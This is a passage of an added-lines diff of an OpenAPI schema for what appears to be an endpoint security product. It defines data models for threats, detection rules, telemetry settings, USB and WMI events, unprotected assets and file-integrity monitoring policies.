+        title: Ip range
+        type: string
+      ip_range_end:
+        minLength: 1
+        title: Ip range end
+        type: string
+        x-nullable: true
+      mac_addresses:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      vendor_codes:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    type: object
+  SubnetStats:
+    properties:
+      first_observation_time:
+        format: date-time
+        title: First observation time
+        type: string
+      last_observation_time:
+        format: date-time
+        title: Last observation time
+        type: string
+    required:
+      - first_observation_time
+      - last_observation_time
+    type: object
+  SupervisorAllConfigSection:
+    properties:
+      tenants:
+        additionalProperties:
+          $ref: '#/definitions/AllConfigSection'
+        title: Tenants
+        type: object
+    required:
+      - tenants
+    type: object
+  SupervisorAllConfigSectionDownload:
+    properties:
+      config:
+        $ref: '#/definitions/SupervisorAllConfigSection'
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - config
+    type: object
+  SysinternalsUsage:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      programname:
+        minLength: 1
+        title: Programname
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - programname
+      - tenant
+      - timestamp
+      - username
+    type: object
+  Tag:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      new_comment:
+        title: New comment
+        type: string
+      new_status:
+        minLength: 1
+        title: New status
+        type: string
+    required:
+      - ids
+      - new_status
+    type: object
+  Target:
+    properties:
+      agents:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+      groups:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - agents
+      - groups
+    type: object
+  Task:
+    properties:
+      action:
+        $ref: '#/definitions/AllAction'
+      can_read_action:
+        description: |-
+          True if the user has read access on this action.
+          If False, the job params will be omitted. Non-sensitive information, like the status and the existence of this action, are still provided to users that can access at least one action in the job, to provide context.
+        title: Can read action
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      status:
+        $ref: '#/definitions/BatchStats'
+      task_id:
+        title: Task id
+        type: integer
+    required:
+      - action
+      - can_read_action
+      - id
+      - status
+      - task_id
+    type: object
+  TaskDeliveryInfo:
+    properties:
+      exchange:
+        minLength: 1
+        title: Exchange
+        type: string
+      priority:
+        title: Priority
+        type: integer
+      redelivered:
+        title: Redelivered
+        type: boolean
+      routing_key:
+        minLength: 1
+        title: Routing key
+        type: string
+    required:
+      - exchange
+      - priority
+      - redelivered
+      - routing_key
+    type: object
+  TaskDetail:
+    properties:
+      acknowledged:
+        title: Acknowledged
+        type: boolean
+      args:
+        items:
+          type: string
+        type: array
+      delivery_info:
+        $ref: '#/definitions/TaskDeliveryInfo'
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      kwargs:
+        additionalProperties:
+          type: string
+        title: Kwargs
+        type: object
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      time_start:
+        title: Time start
+        type: number
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      worker:
+        minLength: 1
+        title: Worker
+        type: string
+      worker_pid:
+        title: Worker pid
+        type: integer
+    required:
+      - acknowledged
+      - args
+      - delivery_info
+      - hostname
+      - id
+      - kwargs
+      - name
+      - time_start
+      - type
+      - worker
+      - worker_pid
+    type: object
+  TaskDetailList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/TaskDetail'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  TaskResult:
+    properties:
+      content_encoding:
+        description: The encoding used to save the task result data
+        maxLength: 64
+        minLength: 1
+        title: Result Encoding
+        type: string
+      content_type:
+        description: Content type of the result data
+        maxLength: 128
+        minLength: 1
+        title: Result Content Type
+        type: string
+      date_created:
+        description: Datetime field when the task result was created in UTC
+        format: date-time
+        readOnly: true
+        title: Created DateTime
+        type: string
+      date_done:
+        description: Datetime field when the task was completed in UTC
+        format: date-time
+        readOnly: true
+        title: Completed DateTime
+        type: string
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      meta:
+        description: JSON meta information about the task, such as information on child tasks
+        minLength: 1
+        readOnly: true
+        title: Task Meta Information
+        type: string
+        x-nullable: true
+      periodic_task_name:
+        description: Name of the Periodic Task which was run
+        maxLength: 255
+        minLength: 1
+        title: Periodic Task Name
+        type: string
+        x-nullable: true
+      result:
+        description: The data returned by the task.  Use content_encoding and content_type fields to read.
+        minLength: 1
+        readOnly: true
+        title: Result Data
+        type: string
+        x-nullable: true
+      status:
+        description: Current state of the task being run
+        enum:
+          - FAILURE
+          - PENDING
+          - RECEIVED
+          - RETRY
+          - REVOKED
+          - STARTED
+          - SUCCESS
+        title: Task State
+        type: string
+      task_args:
+        description: JSON representation of the positional arguments used with the task
+        minLength: 1
+        title: Task Positional Arguments
+        type: string
+        x-nullable: true
+      task_id:
+        description: Celery ID for the Task that was run
+        maxLength: 255
+        minLength: 1
+        title: Task ID
+        type: string
+      task_kwargs:
+        description: JSON representation of the named arguments used with the task
+        minLength: 1
+        title: Task Named Arguments
+        type: string
+        x-nullable: true
+      task_name:
+        description: Name of the Task which was run
+        maxLength: 255
+        minLength: 1
+        title: Task Name
+        type: string
+        x-nullable: true
+      traceback:
+        description: Text of the traceback if the task generated one
+        title: Traceback
+        type: string
+        x-nullable: true
+      worker:
+        description: Worker that executes the task
+        maxLength: 100
+        minLength: 1
+        title: Worker
+        type: string
+        x-nullable: true
+    required:
+      - content_encoding
+      - content_type
+      - task_id
+    type: object
+  Technique:
+    properties:
+      hits:
+        title: Hits
+        type: integer
+      technique_id:
+        minLength: 1
+        title: Technique id
+        type: string
+      technique_name:
+        minLength: 1
+        title: Technique name
+        type: string
+    required:
+      - hits
+      - technique_id
+      - technique_name
+    type: object
+  TelemetryConfigResponse:
+    properties:
+      live_override_allowed:
+        title: Live override allowed
+        type: boolean
+      telemetries:
+        $ref: '#/definitions/TelemetryConfigTelemetries'
+    required:
+      - live_override_allowed
+      - telemetries
+    type: object
+  TelemetryConfigTelemetries:
+    properties:
+      telemetry_amsi_dynamic_scripts_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_amsi_other_scans_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_authentication_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_dns_resolution_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_dotnet_library_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_driverload_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_file_download_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_file_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_kube_pod_event_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_library_load_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_log_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_named_pipe_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_network_listen_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_network_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_powershell_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_process_access_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_process_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_process_tamper_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_raw_device_access_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_raw_socket_creation_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_registry_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_remotethread_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_scheduled_tasks_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_service_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_url_request_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_usb_activity_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_user_group_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+      telemetry_wmi_event_state:
+        $ref: '#/definitions/_TelemetryConfigItem'
+    type: object
+  TelemetryWmiEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      consumer:
+        minLength: 1
+        title: Consumer
+        type: string
+      destination:
+        minLength: 1
+        title: Destination
+        type: string
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      filter:
+        minLength: 1
+        title: Filter
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      namespace:
+        minLength: 1
+        title: Namespace
+        type: string
+      operation:
+        minLength: 1
+        title: Operation
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      query:
+        minLength: 1
+        title: Query
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user_name:
+        minLength: 1
+        title: User name
+        type: string
+      user_sid:
+        minLength: 1
+        title: User sid
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - consumer
+      - destination
+      - event_date
+      - filter
+      - groups
+      - id
+      - kind
+      - log_type
+      - name
+      - namespace
+      - operation
+      - query
+      - tenant
+      - type
+      - user_name
+      - user_sid
+    type: object
+  TestPassword:
+    properties:
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - username
+    type: object
+  Thread:
+    properties:
+      region_base_address:
+        title: Region base address
+        type: integer
+      region_dump:
+        format: uri
+        readOnly: true
+        title: Region dump
+        type: string
+      region_protect:
+        title: Region protect
+        type: integer
+      region_size:
+        title: Region size
+        type: integer
+      region_state:
+        title: Region state
+        type: integer
+      region_type:
+        title: Region type
+        type: integer
+      start_address:
+        title: Start address
+        type: integer
+      start_time:
+        format: date-time
+        title: Start time
+        type: string
+      suspicious:
+        title: Suspicious
+        type: boolean
+      thread_dump:
+        format: uri
+        readOnly: true
+        title: Thread dump
+        type: string
+      thread_id:
+        title: Thread id
+        type: integer
+      thread_state:
+        title: Thread state
+        type: integer
+      wait_reason:
+        title: Wait reason
+        type: integer
+    required:
+      - region_base_address
+      - region_protect
+      - region_size
+      - region_state
+      - region_type
+      - start_address
+      - start_time
+      - suspicious
+      - thread_id
+      - thread_state
+      - wait_reason
+    type: object
+  ThreadDump:
+    properties:
+      approximate_last_seen:
+        format: date-time
+        title: Approximate last seen
+        type: string
+      downloaded:
+        title: Downloaded
+        type: integer
+      downloaded_date:
+        format: date-time
+        title: Downloaded date
+        type: string
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      hashes:
+        $ref: '#/definitions/Hashes'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - approximate_last_seen
+      - downloaded
+      - downloaded_date
+      - first_seen
+      - hashes
+      - id
+      - ostype
+      - size
+      - tenant
+    type: object
+  Threat:
+    properties:
+      agent_count:
+        minimum: 0
+        readOnly: true
+        title: Agent count
+        type: integer
+      closed_date:
+        format: date-time
+        readOnly: true
+        title: Closed date
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      impacted_user_count:
+        minimum: 0
+        readOnly: true
+        title: Impacted user count
+        type: integer
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Level
+        type: string
+      linked_threat:
+        format: uuid
+        readOnly: true
+        title: Linked threat
+        type: string
+        x-nullable: true
+      mitre_tactics:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Mitre tactics
+        type: object
+      old_id:
+        readOnly: true
+        title: Old id
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      rule_count:
+        minimum: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      slug:
+        minLength: 1
+        readOnly: true
+        title: Slug
+        type: string
+      status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        readOnly: true
+        title: Status
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      top_agents:
+        items:
+          $ref: '#/definitions/ThreatAgent'
+        readOnly: true
+        type: array
+      top_impacted_users:
+        items:
+          $ref: '#/definitions/ThreatUser'
+        readOnly: true
+        type: array
+      top_rules:
+        items:
+          $ref: '#/definitions/ThreatRule'
+        readOnly: true
+        type: array
+      total_security_event_count:
+        readOnly: true
+        title: Total security event count
+        type: integer
+    required:
+      - id
+    type: object
+  ThreatAgent:
+    properties:
+      agent_hostname:
+        minLength: 1
+        readOnly: true
+        title: Agent hostname
+        type: string
+      agent_id:
+        readOnly: true
+        title: Agent id
+        type: string
+      agent_osproducttype:
+        minLength: 1
+        readOnly: true
+        title: Agent osproducttype
+        type: string
+      agent_ostype:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Agent ostype
+        type: string
+      agent_osversion:
+        minLength: 1
+        readOnly: true
+        title: Agent osversion
+        type: string
+      agent_status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Agent status
+        type: string
+      security_event_count:
+        readOnly: true
+        title: Security event count
+        type: integer
+    type: object
+  ThreatDefaultAction:
+    properties:
+      default_actions:
+        enum:
+          - allow
+          - block
+          - clean
+          - no_action
+          - quarantine
+          - remove
+          - user_defined
+        title: Default actions
+        type: string
+      threat_id:
+        maximum: 9223372036854775807
+        minimum: -9223372036854775808
+        title: Threat id
+        type: integer
+    required:
+      - default_actions
+      - threat_id
+    type: object
+  ThreatDetail:
+    properties:
+      agent_count:
+        minimum: 0
+        readOnly: true
+        title: Agent count
+        type: integer
+      closed_date:
+        format: date-time
+        readOnly: true
+        title: Closed date
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      impacted_user_count:
+        minimum: 0
+        readOnly: true
+        title: Impacted user count
+        type: integer
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Level
+        type: string
+      linked_threat:
+        format: uuid
+        readOnly: true
+        title: Linked threat
+        type: string
+        x-nullable: true
+      mitre_tactics:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Mitre tactics
+        type: object
+      note:
+        $ref: '#/definitions/Note'
+      old_id:
+        readOnly: true
+        title: Old id
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      rule_count:
+        minimum: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      security_event_count_by_level:
+        $ref: '#/definitions/SecurityEventCountByLevel'
+      security_event_count_by_status:
+        $ref: '#/definitions/SecurityEventCountByStatus'
+      slug:
+        minLength: 1
+        readOnly: true
+        title: Slug
+        type: string
+      status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        readOnly: true
+        title: Status
+        type: string
+      top_agents:
+        items:
+          $ref: '#/definitions/ThreatAgent'
+        readOnly: true
+        type: array
+      top_impacted_users:
+        items:
+          $ref: '#/definitions/ThreatUser'
+        readOnly: true
+        type: array
+      top_rules:
+        items:
+          $ref: '#/definitions/ThreatRule'
+        readOnly: true
+        type: array
+      total_security_event_count:
+        readOnly: true
+        title: Total security event count
+        type: integer
+    required:
+      - id
+    type: object
+  ThreatIntelligence:
+    properties:
+      default_hl_status:
+        default: stable
+        minLength: 1
+        title: Default hl status
+        type: string
+      force_hl_status:
+        default: false
+        title: Force hl status
+        type: boolean
+      test_maturity_delay:
+        minimum: 1
+        title: Test maturity delay
+        type: integer
+        x-nullable: true
+      test_maturity_threshold:
+        minimum: 1
+        title: Test maturity threshold
+        type: integer
+        x-nullable: true
+    type: object
+  ThreatIntelligencePermissions:
+    properties:
+      engines:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Engines
+        type: string
+      manage_lifecycle:
+        title: Manage lifecycle
+        type: boolean
+      whitelists:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Whitelists
+        type: string
+    required:
+      - engines
+      - manage_lifecycle
+      - whitelists
+    type: object
+  ThreatRule:
+    properties:
+      creation_date:
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        readOnly: true
+        title: Description
+        type: string
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      last_update:
+        readOnly: true
+        title: Last update
+        type: string
+      rule_id:
+        minLength: 1
+        title: Rule id
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level
+        type: string
+      rule_msg:
+        title: Rule msg
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        title: Rule name
+        type: string
+      rule_os:
+        items:
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        enum:
+          - all
+          - assemblyline
+          - base
+          - cape
+          - correlation
+          - device_control
+          - driver
+          - glimps
+          - hibou
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - irma
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - unknown
+          - vt
+          - yara
+        title: Rule type
+        type: string
+      security_event_count:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Security event count
+        type: integer
+    required:
+      - rule_id
+      - rule_level
+      - rule_name
+    type: object
+  ThreatStatusBinding:
+    properties:
+      enabled:
+        default: true
+        title: Enabled
+        type: boolean
+    type: object
+  ThreatUser:
+    properties:
+      security_event_count:
+        readOnly: true
+        title: Security event count
+        type: integer
+      user_name:
+        minLength: 1
+        readOnly: true
+        title: User name
+        type: string
+      user_sid:
+        minLength: 1
+        readOnly: true
+        title: User sid
+        type: string
+    type: object
+  TimelineFavorite:
+    properties:
+      agent_id:
+        format: uuid
+        title: Agent id
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      timeline_event_id:
+        maxLength: 64
+        minLength: 1
+        title: Timeline event id
+        type: string
+    required:
+      - agent_id
+      - timeline_event_id
+    type: object
+  TimelineGraph:
+    properties:
+      count:
+        items:
+          additionalProperties:
+            minimum: 1
+            type: integer
+          type: object
+        type: array
+      date:
+        format: date-time
+        title: Date
+        type: string
+    required:
+      - count
+      - date
+    type: object
+  Token:
+    properties:
+      auth_token:
+        minLength: 1
+        title: Auth token
+        type: string
+    required:
+      - auth_token
+    type: object
+  Turorial:
+    properties:
+      nix:
+        $ref: '#/definitions/NixTutorial'
+      nix_store:
+        $ref: '#/definitions/NixTutorial'
+    required:
+      - nix
+      - nix_store
+    type: object
+    x-nullable: true
+  USBActivity:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      db_product_name:
+        description: Name reported directly by the USB device's firmware
+        minLength: 1
+        title: Db product name
+        type: string
+      db_vendor_name:
+        description: Name reported directly by the USB device's firmware
+        minLength: 1
+        title: Db vendor name
+        type: string
+      device_class:
+        minLength: 1
+        title: Device class
+        type: string
+      device_product_name:
+        description: Official product name standardized by the Linux USB ID database
+        minLength: 1
+        title: Device product name
+        type: string
+      device_protocol:
+        minLength: 1
+        title: Device protocol
+        type: string
+      device_subclass:
+        minLength: 1
+        title: Device subclass
+        type: string
+      device_vendor_name:
+        description: Official vendor name standardized by the Linux USB ID database
+        minLength: 1
+        title: Device vendor name
+        type: string
+      event_type:
+        enum:
+          - blocked
+          - connected
+          - disconnected
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      interfaces:
+        items:
+          $ref: '#/definitions/InnerUSBInterface'
+        type: array
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      product_id:
+        minLength: 1
+        title: Product id
+        type: string
+      product_name:
+        description: Name sourced either from the Linux USB ID database, or the USB device's firmware
+        minLength: 1
+        title: Product name
+        type: string
+      serial_number:
+        minLength: 1
+        title: Serial number
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+      vendor_id:
+        minLength: 1
+        title: Vendor id
+        type: string
+      vendor_name:
+        description: Name sourced either from the Linux USB ID database, or the USB device's firmware
+        minLength: 1
+        title: Vendor name
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - db_product_name
+      - db_vendor_name
+      - device_class
+      - device_product_name
+      - device_protocol
+      - device_subclass
+      - device_vendor_name
+      - event_type
+      - groups
+      - id
+      - interfaces
+      - log_type
+      - product_id
+      - product_name
+      - serial_number
+      - tenant
+      - utc_time
+      - vendor_id
+      - vendor_name
+    type: object
+  UUIDList:
+    properties:
+      all:
+        default: false
+        title: All
+        type: boolean
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    type: object
+  UnprotectedAssetBulkUpdateCompatibility:
+    properties:
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+      value:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        title: Value
+        type: string
+    required:
+      - ids
+      - value
+    type: object
+  UnprotectedAssetBulkUpdateOS:
+    properties:
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+      value:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Value
+        type: string
+    required:
+      - ids
+      - value
+    type: object
+  UnprotectedAssetBulkUpdateResponse:
+    properties:
+      compatibility_update_count:
+        title: Compatibility update count
+        type: integer
+      missing_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+      os_update_count:
+        title: Os update count
+        type: integer
+      status:
+        enum:
+          - invalid_endpoint_asset_ids
+          - no_endpoint_asset_found
+          - success
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  UnprotectedAssetDetails:
+    properties:
+      acknowledged:
+        enum:
+          - seen
+          - to_check
+        readOnly: true
+        title: Acknowledged
+        type: string
+      active_directory_devices:
+        items:
+          $ref: '#/definitions/IdentityActiveDirectoryDevice'
+        readOnly: true
+        type: array
+      compatibility:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        readOnly: true
+        title: Compatibility
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      entra_id_devices:
+        items:
+          $ref: '#/definitions/IdentityEntraIdDevice'
+        readOnly: true
+        type: array
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      network_interfaces:
+        items:
+          $ref: '#/definitions/NetworkDeviceDetails'
+        readOnly: true
+        type: array
+      os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Os
+        type: string
+    type: object
+  UnprotectedAssetKPI:
+    properties:
+      linux_compatible:
+        readOnly: true
+        title: Linux compatible
+        type: integer
+      linux_uncompatible:
+        readOnly: true
+        title: Linux uncompatible
+        type: integer
+      macos_compatible:
+        readOnly: true
+        title: Macos compatible
+        type: integer
+      macos_uncompatible:
+        readOnly: true
+        title: Macos uncompatible
+        type: integer
+      total_compatible:
+        readOnly: true
+        title: Total compatible
+        type: integer
+      total_uncompatible:
+        readOnly: true
+        title: Total uncompatible
+        type: integer
+      unknown_uncompatible:
+        readOnly: true
+        title: Unknown uncompatible
+        type: integer
+      windows_compatible:
+        readOnly: true
+        title: Windows compatible
+        type: integer
+      windows_uncompatible:
+        readOnly: true
+        title: Windows uncompatible
+        type: integer
+    type: object
+  UnprotectedAssetList:
+    properties:
+      acknowledged:
+        enum:
+          - seen
+          - to_check
+        readOnly: true
+        title: Acknowledged
+        type: string
+      compatibility:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        readOnly: true
+        title: Compatibility
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      ip:
+        minLength: 1
+        readOnly: true
+        title: Ip
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      mac_addr:
+        minLength: 1
+        readOnly: true
+        title: Mac addr
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+        x-nullable: true
+      netbios_groups:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      netbios_name:
+        minLength: 1
+        readOnly: true
+        title: Netbios name
+        type: string
+      network_device_count:
+        readOnly: true
+        title: Network device count
+        type: integer
+      observation_count:
+        readOnly: true
+        title: Observation count
+        type: integer
+      os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        readOnly: true
+        title: Os
+        type: string
+      oui_vendor:
+        minLength: 1
+        readOnly: true
+        title: Oui vendor
+        type: string
+      random_hardware_address:
+        readOnly: true
+        title: Random hardware address
+        type: boolean
+      rmDNS_additional_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rmDNS_names:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      subnet_discovered_by:
+        $ref: '#/definitions/_SubnetDiscoveredBy'
+    required:
+      - netbios_groups
+      - rmDNS_additional_records
+      - rmDNS_names
+    type: object
+  UnprotectedAssetUpdate:
+    properties:
+      acknowledged:
+        enum:
+          - seen
+          - to_check
+        title: Acknowledged
+        type: string
+      compatibility:
+        enum:
+          - compatible
+          - uncompatible
+          - unknown
+        title: Compatibility
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        title: Name
+        type: string
+        x-nullable: true
+      os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Os
+        type: string
+    type: object
+  UpdateAllRuleset:
+    properties:
+      new_actions:
+        $ref: '#/definitions/Actions'
+      set_default:
+        default: false
+        title: Set default
+        type: boolean
+      set_source_actions:
+        default: false
+        title: Set source actions
+        type: boolean
+      set_source_default_actions:
+        default: false
+        title: Set source default actions
+        type: boolean
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: State
+        type: string
+    required:
+      - state
+    type: object
+  UpdateFIMFileModification:
+    properties:
+      status:
+        enum:
+          - accepted
+          - not reviewed
+          - rejected
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  UpdateFIMPathExclusionSerializerForBulk:
+    properties:
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        title: Path type
+        type: string
+    required:
+      - id
+      - os_type
+      - path
+      - path_type
+    type: object
+  UpdateFIMPathInclusionSerializerForBulk:
+    properties:
+      criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        title: Criticality
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        title: Path type
+        type: string
+      scan_type:
+        enum:
+          - content
+          - metadata
+          - metadata and content
+        title: Scan type
+        type: string
+    required:
+      - criticality
+      - id
+      - os_type
+      - path
+      - path_type
+      - scan_type
+    type: object
+  UpdateFIMPolicy:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      periodicity:
+        $ref: '#/definitions/Schedule'
+    required:
+      - name
+      - periodicity
+    type: object
